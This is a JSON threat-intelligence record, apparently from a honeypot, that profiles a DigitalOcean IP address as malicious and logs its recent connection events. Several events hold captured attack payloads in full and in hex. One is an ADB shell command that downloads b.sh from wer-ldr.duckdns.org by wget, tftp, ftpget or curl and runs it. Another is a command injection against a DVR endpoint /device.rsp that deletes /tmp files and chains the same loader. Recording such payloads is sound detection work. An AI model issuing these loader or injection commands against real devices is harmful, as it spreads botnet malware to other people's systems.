{"ip":"68.183.58.201","total_events":19,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"8 loader / command-injection payload(s)","confidence":"high","network_type":"CDN","why":["8 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","This is the same evidence that puts an address in the public exploiter feed, so the feed and this page now agree.","Payload evidence stands on its own: one request that fetches a botnet binary is exploitation, not probing.","Not in any known-scanner range.","Sent 4,449 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"4,449 bytes sent","bytes_sent":4449,"session_seconds":6,"persistent":false}},"first_seen":"2026-08-20T09:30:47","last_seen":"2026-09-07T01:35:52","events_24h":0,"events_7d":3,"geo":{"country_code":"US","country_name":"United States","region":"New Jersey","city":"Clifton","lat":40.8364,"lon":-74.1403,"asn":14061,"org":"DigitalOcean, LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as14061","label":"DigitalOcean","category":"cdn","url":"https://www.peeringdb.com/asn/14061"},"cve_matches":[],"malware":[{"sha256":"42f1363b224766f655f7ef1e7f37de1c8a33ac172a2ebcbfd401cab88643d12c","family":"shell","vt_name":"42f1363b224766f655f7ef1e7f37de1c8a33ac172a2ebcbfd401cab88643d12c.sh","malicious":3,"total":75,"vt_status":"known","delivery":"tftp","url_path":"/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___","dest_port":80,"hits":1,"last_seen":"2026-08-20 19:38:38"}],"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":10},{"port":5555,"proto":"tcp","label":"","count":9}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[],"ja4h":["po10nn0400_fdcc3615ee04","ge10nn0200_f24fcf356134"]},"fingerprint_peers":{"po10nn0400_fdcc3615ee04":1,"ge10nn0200_f24fcf356134":751},"user_agents":[],"timeline":[{"date":"2026-08-20","count":10},{"date":"2026-08-25","count":3},{"date":"2026-08-31","count":3},{"date":"2026-09-07","count":3}],"recent_events":[{"timestamp":"2026-09-07T01:35:52","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPEN\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000p\u0001\u0000\u0000shell:busybox wget -O /tmp/.x http://wer-ldr.duckdns.org/b.sh||wget -O /tmp/.x http://wer-ldr.duckdns.org/b.sh||busybox tftp -g -r b.sh -l /tmp/.x wer-ldr.duckdns.org||tftp -g -r b.sh -l /tmp/.x wer-ldr.duckdns.org||busybox ftpget wer-ldr.duckdns.org /tmp/.x b.sh||ftpget wer-ldr.duckdns.org /tmp/.x b.sh||curl -s -o /tmp/.x http://wer-ldr.duckdns.org/b.sh;sh /tmp/.x\u0000","payload_hex":"4f50454e0100000000000000700100007368656c6c3a62757379626f782077676574202d4f202f746d702f2e7820687474703a2f2f7765722d6c64722e6475636b646e732e6f72672f622e73687c7c77676574202d4f202f746d702f2e7820687474703a2f2f7765722d6c64722e6475636b646e732e6f72672f622e73687c7c62757379626f782074667470202d67202d7220622e7368202d6c202f746d702f2e78207765722d6c64722e6475636b646e732e6f72677c7c74667470202d67202d7220622e7368202d6c202f746d702f2e78207765722d6c64722e6475636b646e732e6f72677c7c62757379626f7820667470676574207765722d6c64722e6475636b646e732e6f7267202f746d702f2e7820622e73687c7c667470676574207765722d6c64722e6475636b646e732e6f7267202f746d702f2e7820622e73687c7c6375726c202d73202d6f202f746d702f2e7820687474703a2f2f7765722d6c64722e6475636b646e732e6f72672f622e73683b7368202f746d702f2e7800","method":"","user_agent":"","ja3":"","session":"746678b5-75b2-42d3-9e37-82fc856a9bcc","seq":2,"duration_ms":6285,"bytes_in":407,"bytes_out":26,"enriched":{"digest":"29fce3b9f76553cc","strings":["OPEN","shell:busybox wget -O /tmp/.x http://wer-ldr.duckdns.org/b.sh||wget -O /tmp/.x h…"],"iocs":{"urls":["http://wer-ldr.duckdns.org/b.sh||wget"],"domains":["wer-ldr.duckdns.org","b.sh"],"paths":["/tmp/.x","/wer-ldr.duckdns.org/b.sh"]}}},{"timestamp":"2026-09-07T01:35:46","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000@\u0000\u0006\u0000\u0000\u0000host::\u0000","payload_hex":"434e584e000000010000400006000000686f73743a3a00","method":"","user_agent":"","ja3":"","session":"746678b5-75b2-42d3-9e37-82fc856a9bcc","seq":1,"duration_ms":100,"bytes_in":23,"bytes_out":13,"enriched":{"digest":"19fe7a569ceeccb8","strings":["CNXN","host::"]}},{"timestamp":"2026-09-07T01:35:43","port":5555,"proto":"tcp","app_proto":"","app_protocol":"http","host":"x","headers":"{\"connection\":\"close\",\"host\":\"x\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e300d0a486f73743a20780d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"03aaf4c8-20c0-49d9-834b-1d011dc57ec4","seq":1,"duration_ms":100,"bytes_in":46,"bytes_out":78},{"timestamp":"2026-08-31T20:02:18","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPEN\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000p\u0001\u0000\u0000shell:busybox wget -O /tmp/.x http://wer-ldr.duckdns.org/b.sh||wget -O /tmp/.x http://wer-ldr.duckdns.org/b.sh||busybox tftp -g -r b.sh -l /tmp/.x wer-ldr.duckdns.org||tftp -g -r b.sh -l /tmp/.x wer-ldr.duckdns.org||busybox ftpget wer-ldr.duckdns.org /tmp/.x b.sh||ftpget wer-ldr.duckdns.org /tmp/.x b.sh||curl -s -o /tmp/.x http://wer-ldr.duckdns.org/b.sh;sh /tmp/.x\u0000","payload_hex":"4f50454e0100000000000000700100007368656c6c3a62757379626f782077676574202d4f202f746d702f2e7820687474703a2f2f7765722d6c64722e6475636b646e732e6f72672f622e73687c7c77676574202d4f202f746d702f2e7820687474703a2f2f7765722d6c64722e6475636b646e732e6f72672f622e73687c7c62757379626f782074667470202d67202d7220622e7368202d6c202f746d702f2e78207765722d6c64722e6475636b646e732e6f72677c7c74667470202d67202d7220622e7368202d6c202f746d702f2e78207765722d6c64722e6475636b646e732e6f72677c7c62757379626f7820667470676574207765722d6c64722e6475636b646e732e6f7267202f746d702f2e7820622e73687c7c667470676574207765722d6c64722e6475636b646e732e6f7267202f746d702f2e7820622e73687c7c6375726c202d73202d6f202f746d702f2e7820687474703a2f2f7765722d6c64722e6475636b646e732e6f72672f622e73683b7368202f746d702f2e7800","method":"","user_agent":"","ja3":"","session":"f5754950-64f0-4050-a422-3e3849388869","seq":2,"duration_ms":6287,"bytes_in":407,"bytes_out":26,"enriched":{"digest":"29fce3b9f76553cc","strings":["OPEN","shell:busybox wget -O /tmp/.x http://wer-ldr.duckdns.org/b.sh||wget -O /tmp/.x h…"],"iocs":{"urls":["http://wer-ldr.duckdns.org/b.sh||wget"],"domains":["wer-ldr.duckdns.org","b.sh"],"paths":["/tmp/.x","/wer-ldr.duckdns.org/b.sh"]}}},{"timestamp":"2026-08-31T20:02:12","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000@\u0000\u0006\u0000\u0000\u0000host::\u0000","payload_hex":"434e584e000000010000400006000000686f73743a3a00","method":"","user_agent":"","ja3":"","session":"f5754950-64f0-4050-a422-3e3849388869","seq":1,"duration_ms":100,"bytes_in":23,"bytes_out":13,"enriched":{"digest":"19fe7a569ceeccb8","strings":["CNXN","host::"]}},{"timestamp":"2026-08-31T20:02:09","port":5555,"proto":"tcp","app_proto":"","app_protocol":"http","host":"x","headers":"{\"connection\":\"close\",\"host\":\"x\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e300d0a486f73743a20780d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"363e4ce5-2d3c-4fd7-b441-4facf6814c2c","seq":1,"duration_ms":100,"bytes_in":46,"bytes_out":78},{"timestamp":"2026-08-25T16:04:46","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPEN\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000p\u0001\u0000\u0000shell:busybox wget -O /tmp/.x http://wer-ldr.duckdns.org/b.sh||wget -O /tmp/.x http://wer-ldr.duckdns.org/b.sh||busybox tftp -g -r b.sh -l /tmp/.x wer-ldr.duckdns.org||tftp -g -r b.sh -l /tmp/.x wer-ldr.duckdns.org||busybox ftpget wer-ldr.duckdns.org /tmp/.x b.sh||ftpget wer-ldr.duckdns.org /tmp/.x b.sh||curl -s -o /tmp/.x http://wer-ldr.duckdns.org/b.sh;sh /tmp/.x\u0000","payload_hex":"4f50454e0100000000000000700100007368656c6c3a62757379626f782077676574202d4f202f746d702f2e7820687474703a2f2f7765722d6c64722e6475636b646e732e6f72672f622e73687c7c77676574202d4f202f746d702f2e7820687474703a2f2f7765722d6c64722e6475636b646e732e6f72672f622e73687c7c62757379626f782074667470202d67202d7220622e7368202d6c202f746d702f2e78207765722d6c64722e6475636b646e732e6f72677c7c74667470202d67202d7220622e7368202d6c202f746d702f2e78207765722d6c64722e6475636b646e732e6f72677c7c62757379626f7820667470676574207765722d6c64722e6475636b646e732e6f7267202f746d702f2e7820622e73687c7c667470676574207765722d6c64722e6475636b646e732e6f7267202f746d702f2e7820622e73687c7c6375726c202d73202d6f202f746d702f2e7820687474703a2f2f7765722d6c64722e6475636b646e732e6f72672f622e73683b7368202f746d702f2e7800","method":"","user_agent":"","ja3":"","session":"a0830ebc-9f96-4f05-81da-a93e9d0be133","seq":2,"duration_ms":6291,"bytes_in":407,"bytes_out":26,"enriched":{"digest":"29fce3b9f76553cc","strings":["OPEN","shell:busybox wget -O /tmp/.x http://wer-ldr.duckdns.org/b.sh||wget -O /tmp/.x h…"],"iocs":{"urls":["http://wer-ldr.duckdns.org/b.sh||wget"],"domains":["wer-ldr.duckdns.org","b.sh"],"paths":["/tmp/.x","/wer-ldr.duckdns.org/b.sh"]}}},{"timestamp":"2026-08-25T16:04:40","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000@\u0000\u0006\u0000\u0000\u0000host::\u0000","payload_hex":"434e584e000000010000400006000000686f73743a3a00","method":"","user_agent":"","ja3":"","session":"a0830ebc-9f96-4f05-81da-a93e9d0be133","seq":1,"duration_ms":100,"bytes_in":23,"bytes_out":13,"enriched":{"digest":"19fe7a569ceeccb8","strings":["CNXN","host::"]}},{"timestamp":"2026-08-25T16:04:37","port":5555,"proto":"tcp","app_proto":"","app_protocol":"http","host":"x","headers":"{\"connection\":\"close\",\"host\":\"x\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e300d0a486f73743a20780d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"181e7afd-a8c8-45d7-9541-398f0e181501","seq":1,"duration_ms":100,"bytes_in":46,"bytes_out":78},{"timestamp":"2026-08-20T19:38:39","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"384\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>\"}","body":"mdb=;cd /tmp;rm -rf *;busybox wget -O /tmp/.x http://wer-ldr.duckdns.org/b.sh||wget -O /tmp/.x http://wer-ldr.duckdns.org/b.sh||busybox tftp -g -r b.sh -l /tmp/.x wer-ldr.duckdns.org||tftp -g -r b.sh -l /tmp/.x wer-ldr.duckdns.org||busybox ftpget wer-ldr.duckdns.org /tmp/.x b.sh||ftpget wer-ldr.duckdns.org /tmp/.x b.sh||curl -s -o /tmp/.x http://wer-ldr.duckdns.org/b.sh;sh /tmp/.x;","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___","summary":"","payload_hex":"504f5354202f6465766963652e7273703f6f70743d73797326636d643d5f5f5f535f4f5f535f545f525f455f415f4d41585f5f5f20485454502f312e300d0a486f73743a20<HONEYPOT>0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a203338340d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a6d64623d3b6364202f746d703b726d202d7266202a3b62757379626f782077676574202d4f202f746d702f2e7820687474703a2f2f7765722d6c64722e6475636b646e732e6f72672f622e73687c7c77676574202d4f202f746d702f2e7820687474703a2f2f7765722d6c64722e6475636b646e732e6f72672f622e73687c7c62757379626f782074667470202d67202d7220622e7368202d6c202f746d702f2e78207765722d6c64722e6475636b646e732e6f72677c7c74667470202d67202d7220622e7368202d6c202f746d702f2e78207765722d6c64722e6475636b646e732e6f72677c7c62757379626f7820667470676574207765722d6c64722e6475636b646e732e6f7267202f746d702f2e7820622e73687c7c667470676574207765722d6c64722e6475636b646e732e6f7267202f746d702f2e7820622e73687c7c6375726c202d73202d6f202f746d702f2e7820687474703a2f2f7765722d6c64722e6475636b646e732e6f72672f622e73683b7368202f746d702f2e783b","method":"POST","user_agent":"","ja3":"","session":"b92500ce-bf2e-41e8-85fe-d305af37387b","seq":1,"duration_ms":100,"bytes_in":558,"bytes_out":78}],"http_methods":[{"method":"GET","count":8},{"method":"POST","count":5}],"distinct_ports_total":2,"top_paths":[{"path":"/","count":8,"ports":2},{"path":"/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___","count":5,"ports":1}],"distinct_paths_total":2,"top_snis":[],"top_hosts":[{"value":"x","count":8}],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Connection","Content-Length","Content-Type","Host"],"representative":[{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"384","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"<HONEYPOT>","notable":false}],"distinct_sets":2,"events_with_headers":4},"tags":[],"data_as_of":"2026-09-11T18:50:35.826774+00:00"}